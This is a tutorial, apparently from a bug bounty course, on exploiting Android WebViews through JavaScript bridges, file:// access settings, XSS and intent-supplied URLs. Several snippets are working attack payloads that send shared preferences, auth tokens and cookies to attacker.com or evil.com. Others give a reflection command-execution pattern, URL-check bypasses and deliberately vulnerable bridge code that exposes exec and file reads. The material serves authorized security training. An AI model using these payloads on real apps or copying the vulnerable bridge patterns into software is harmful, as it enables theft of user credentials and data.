Tutorial

WebView and Hybrid App Vulnerabilities

Exploit JavaScript bridges, file access misconfigurations, and cross-site scripting in Android WebViews, one of the most common bug classes in mobile apps.

4 min read intermediate
Android Bug Bounty WebView XSS JavaScript Bridge

Prerequisites

  • Completed Attack Surface Mapping tutorial
  • Basic JavaScript and HTML knowledge
  • Frida and Burp Suite configured from Lab Setup

Part 5 of 5 in Android Bug Bounty: Zero to Zero-Day

Table of Contents

WebViews are everywhere in Android apps. Every time an app shows an OAuth login, an in-app browser, or a hybrid feature built with web technologies, it is using a WebView. For bug bounty hunters, WebViews are one of the highest-value targets because they bridge web content and native Android capabilities. A single misconfiguration can turn a garden-variety XSS into native code execution.

Warning

All techniques in this tutorial are for authorized security testing and bug bounty programs only. Always obtain written permission before testing.

WebViews in Android

A WebView is an Android view component backed by Chromium’s rendering engine. It lets developers embed a browser inside their app to display web content, build hybrid features, implement OAuth flows, or open links without leaving the app.

The critical security difference between a WebView and a standalone browser is process context. Chrome runs in its own sandbox. A WebView runs inside the host app’s process, inheriting that app’s permissions, data directory, and native bridges.

┌─────────────────────────────────────────────────────────┐
│  Android App Process (com.target.app)                   │
│  Permissions: INTERNET, READ_CONTACTS, CAMERA           │
│                                                         │
│  ┌───────────────────────────────────────────────────┐  │
│  │  WebView (Chromium Engine)                        │  │
│  │                                                   │  │
│  │  ┌─────────────────┐    ┌──────────────────────┐  │  │
│  │  │  Web Content     │    │  JavaScript Bridges  │  │  │
│  │  │  (HTML/CSS/JS)   │◄──►│  @JavascriptInterface│  │  │
│  │  │                  │    │  methods exposed to   │  │  │
│  │  │  Same-origin     │    │  window.BridgeName   │  │  │
│  │  │  policy applies  │    └──────────┬───────────┘  │  │
│  │  │  to web content  │               │              │  │
│  │  └─────────────────┘               │              │  │
│  └─────────────────────────────────────┼──────────────┘  │
│                                        │                 │
│  ┌─────────────────────────────────────▼──────────────┐  │
│  │  Native Java/Kotlin Code                           │  │
│  │  - File system access (app sandbox + permissions)  │  │
│  │  - SQLite databases                                │  │
│  │  - Shared preferences                              │  │
│  │  - Content providers                               │  │
│  │  - Arbitrary native API calls                      │  │
│  └────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────┘

This architecture means that if an attacker can execute JavaScript inside a WebView that has a bridge to native code, they effectively have a path from web content to native Android functionality.

JavaScript Interface Attacks (@JavascriptInterface)

The addJavascriptInterface API exposes Java objects to JavaScript. The developer calls addJavascriptInterface(object, "BridgeName") and any method annotated with @JavascriptInterface becomes callable as window.BridgeName.methodName().

Pre-API-17: the reflection disaster

Before Android 4.2 (API 17), every public method on the interface object was accessible from JavaScript, including inherited Object methods. JavaScript could call getClass() and use reflection to execute arbitrary commands:

// CVE-2012-6636 pattern — works on API < 17
var obj = window.NativeApp;
var runtime = obj.getClass().forName("java.lang.Runtime");
var exec = runtime.getMethod("exec", "java.lang.String");
var process = runtime.getMethod("getRuntime").invoke(null);
exec.invoke(process, "id");

This is largely historical on modern devices, but apps targeting API < 17 still exist in certain markets.

Post-API-17: annotated but still dangerous

After API 17, only @JavascriptInterface-annotated methods are accessible. The attack surface is smaller, but the bridge is still dangerous when exposed methods perform privileged operations:

webView.addJavascriptInterface(new Object() {
    @JavascriptInterface
    public String getToken() { return authToken; }

    @JavascriptInterface
    public void executeCommand(String cmd) {
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            Log.e("Bridge", "exec failed", e);
        }
    }

    @JavascriptInterface
    public String readFile(String path) {
        try {
            return new String(Files.readAllBytes(Paths.get(path)));
        } catch (IOException e) {
            return "";
        }
    }
}, "AndroidBridge");

If an attacker can execute JavaScript in this WebView (via XSS, a malicious URL, or any injection vector), they can call every bridge method:

var token = window.AndroidBridge.getToken();
var prefs = window.AndroidBridge.readFile("/data/data/com.target.app/shared_prefs/auth.xml");
window.AndroidBridge.executeCommand("id");

Note

Bridge methods have no way to check what page triggered the call. If the WebView can be redirected to attacker-controlled content, or if XSS exists in the loaded page, every bridge method is reachable regardless of origin.

File Access in WebViews

WebView file access settings control whether JavaScript can read local files via file:// URLs.

MethodWhat it enablesRisk
setAllowFileAccess(true)Lets the WebView load file:// content and other local resourcesRisky when an attacker can steer the WebView to local content
setAllowFileAccessFromFileURLs(true)Lets JavaScript in a file:// page request other file:// URLsHigh risk legacy setting
setAllowUniversalAccessFromFileURLs(true)Lets JavaScript in a file:// page request arbitrary originsHighest risk setting

setAllowUniversalAccessFromFileURLs(true) is the most dangerous: it disables the same-origin policy for file:// URLs entirely, letting JavaScript make XHR calls to any URL including other file:// paths.

Defaults for these settings vary by Android release, WebView version, and targetSdkVersion. Treat them as properties to verify on the actual target, not assumptions to make from the manifest alone.

File exfiltration attack

This is a classic attack pattern, not a guaranteed primitive on every modern device. It generally requires a vulnerable chain: attacker-controlled file:// content, JavaScript enabled, and permissive file-access settings.

// Read the app's shared preferences containing auth tokens
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///data/data/com.target.app/shared_prefs/auth.xml", true);
xhr.onload = function() {
    exfiltrate(xhr.responseText);
};
xhr.send();

// Helper to send stolen data to attacker server
function exfiltrate(data) {
    var img = new Image();
    img.src = "https://attacker.com/collect?data=" + encodeURIComponent(data);
}

Real-world attack chain

┌──────────┐    ┌───────────────┐    ┌──────────────────┐    ┌────────────┐
│ Deep link │───►│ WebViewActivity│───►│ file:///data/data│───►│ attacker   │
│ with url  │    │ .loadUrl(url)  │    │ /com.target.app/ │    │ .com/collect│
│ parameter │    └───────────────┘    │ shared_prefs/    │    └────────────┘
└──────────┘                          └──────────────────┘
  1. Attacker sends a deep link: targetapp://open?url=file:///sdcard/payload.html
  2. The app loads that URL in a WebView with JavaScript enabled and permissive file-access settings
  3. Payload JavaScript attempts to read local files and exfiltrate the data if the WebView configuration allows it

Cross-Site Scripting in WebViews

XSS in a WebView works like XSS in a browser, but the impact is amplified: in addition to cookies and DOM access, the attacker reaches every exposed bridge method.

Sources of attacker-controlled content

  • Deep links that pass unvalidated URLs to a WebView
  • Intent extras containing URLs loaded via startActivity()
  • Server responses with reflected or stored XSS
  • loadData/loadDataWithBaseURL misuse: building HTML from user input:
// Vulnerable: user-controlled 'name' is injected into HTML
String html = "<html><body><h1>Welcome, " + userName + "</h1></body></html>";
webView.loadData(html, "text/html", "UTF-8");

Impact escalation: XSS to native execution

Once XSS fires, enumerate bridges and call privileged methods:

// Probe for common bridge names
['AndroidBridge', 'NativeApp', 'JSBridge', 'AppInterface'].forEach(function(name) {
    if (window[name]) {
        for (var method in window[name]) { console.log(name + "." + method); }
    }
});
// Steal tokens via bridge
var token = window.AndroidBridge.getToken();
new Image().src = "https://attacker.com/steal?token=" + encodeURIComponent(token);

Intent-Based WebView Attacks

Many apps accept URLs through intents and load them in a WebView without validation.

WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
// Dangerous: loads whatever URL the intent provides
String url = getIntent().getStringExtra("url");
webView.loadUrl(url);

Crafting malicious intents

# Load a javascript: URL to execute arbitrary JS
adb shell am start -n com.target.app/.WebViewActivity \
    --es url "javascript:document.location='https://evil.com/?c='+document.cookie"

# Load a data: URL with an HTML payload
adb shell am start -n com.target.app/.WebViewActivity \
    --es url "data:text/html,<script>alert(window.AndroidBridge.getToken())</script>"

# Load attacker-controlled page that exploits bridges
adb shell am start -n com.target.app/.WebViewActivity \
    --es url "https://attacker.com/exploit.html"

URL validation bypasses

Developers often validate URLs before loading, but the checks are frequently bypassable:

// Bypass 1: startsWith — use https://trusted.com.attacker.com/
if (url.startsWith("https://trusted.com")) { webView.loadUrl(url); }

// Bypass 2: contains — use https://attacker.com/trusted.com/
if (url.contains("trusted.com")) { webView.loadUrl(url); }

// Bypass 3: host without scheme — use javascript://trusted.com/%0aalert(1)
Uri uri = Uri.parse(url);
if ("trusted.com".equals(uri.getHost())) { webView.loadUrl(url); }

shouldOverrideUrlLoading bypasses

Apps use shouldOverrideUrlLoading to intercept navigation. A common mistake is checking the scheme but not the host, allowing any HTTPS URL including attacker-controlled pages that interact with bridges.

Intercepting and Modifying WebView Traffic

WebView traffic goes through the device’s network stack. Configure Burp Suite as a proxy (covered in Lab Setup) and WebView requests appear in HTTP history alongside regular app traffic.

To test for XSS without finding a natural injection point, intercept a server response in Burp and inject a script tag before </body>:

<script>
    if (window.AndroidBridge) {
        document.title = "BRIDGE_FOUND:" + window.AndroidBridge.getToken();
    }
</script>

This lets you probe for bridges and test their methods before investing time in finding an injection vector.

Finding WebView Bugs with Frida

Frida lets you hook WebView methods at runtime. The following script combines the four most valuable hooks into a single audit tool: URL loading, bridge registration, JS evaluation, and dangerous settings.

Java.perform(function() {
    var WebView = Java.use("android.webkit.WebView");
    var WebSettings = Java.use("android.webkit.WebSettings");
    var loadUrl = WebView.loadUrl.overload("java.lang.String");
    var addJavascriptInterface = WebView.addJavascriptInterface.overload(
        "java.lang.Object",
        "java.lang.String"
    );
    var evaluateJavascript = WebView.evaluateJavascript.overload(
        "java.lang.String",
        "android.webkit.ValueCallback"
    );
    var setAllowUniversalAccessFromFileURLs =
        WebSettings.setAllowUniversalAccessFromFileURLs.overload("boolean");
    var setAllowFileAccessFromFileURLs =
        WebSettings.setAllowFileAccessFromFileURLs.overload("boolean");

    // Monitor every URL loaded into any WebView
    loadUrl.implementation = function(url) {
        console.log("[loadUrl] " + url);
        return loadUrl.call(this, url);
    };

    // Discover bridge objects and their @JavascriptInterface methods
    addJavascriptInterface.implementation = function(obj, name) {
        console.log("[addJavascriptInterface] " + name + " (" + obj.getClass().getName() + ")");
        var methods = obj.getClass().getMethods();
        for (var i = 0; i < methods.length; i++) {
            var annotations = methods[i].getAnnotations();
            for (var j = 0; j < annotations.length; j++) {
                if (annotations[j].toString().indexOf("JavascriptInterface") !== -1) {
                    var params = [];
                    var paramTypes = methods[i].getParameterTypes();
                    for (var k = 0; k < paramTypes.length; k++) {
                        params.push(paramTypes[k].getName());
                    }
                    console.log("  " + methods[i].getName()
                        + "(" + params.join(", ") + ")"
                        + " -> " + methods[i].getReturnType().getName());
                }
            }
        }
        return addJavascriptInterface.call(this, obj, name);
    };

    // Monitor JS execution from native code
    evaluateJavascript.implementation = function(script, cb) {
        var preview = script ? script.substring(0, Math.min(script.length, 200)) : "";
        console.log("[evaluateJavascript] " + preview);
        return evaluateJavascript.call(this, script, cb);
    };

    // Flag dangerous settings
    setAllowUniversalAccessFromFileURLs.implementation = function(allow) {
        console.log("[WARNING] setAllowUniversalAccessFromFileURLs: " + allow);
        return setAllowUniversalAccessFromFileURLs.call(this, allow);
    };
    setAllowFileAccessFromFileURLs.implementation = function(allow) {
        console.log("[WARNING] setAllowFileAccessFromFileURLs: " + allow);
        return setAllowFileAccessFromFileURLs.call(this, allow);
    };
});

Run it with:

frida -U -f com.target.app -l webview_audit.js --no-pause

Note

Trigger various app flows that open WebViews while this script runs. The output will reveal every URL loaded, every bridge registered, and every dangerous setting enabled.

Exercises

  1. Find a WebView in the DIVA or InsecureBankv2 sample app that loads a URL from an intent extra. Craft an adb command that delivers a javascript: or data: URL to achieve XSS. Document the command and result.

  2. Write a Frida script that hooks addJavascriptInterface, logs bridge names and classes, and enumerates every @JavascriptInterface method with parameter types and return type. Run it against a sample app.

  3. Set up a WebView test app with setAllowUniversalAccessFromFileURLs(true). Create an HTML payload that reads /data/data/<package>/shared_prefs/<file>.xml via XHR and exfiltrates it to a local HTTP server. Demonstrate the full chain.

  4. Pick a real app from a public bug bounty program, decompile it with jadx, and audit every WebView usage for misconfigurations (bridges, file access, JS enabled). Write a report assessing exploitability and impact.

What’s next

In the next tutorial, Native Code Reversing and JNI Exploitation, we’ll shift from the Java/Kotlin layer to the native libraries (.so files) that many Android apps include. We’ll reverse engineer them with Ghidra and find memory corruption bugs across the JNI boundary.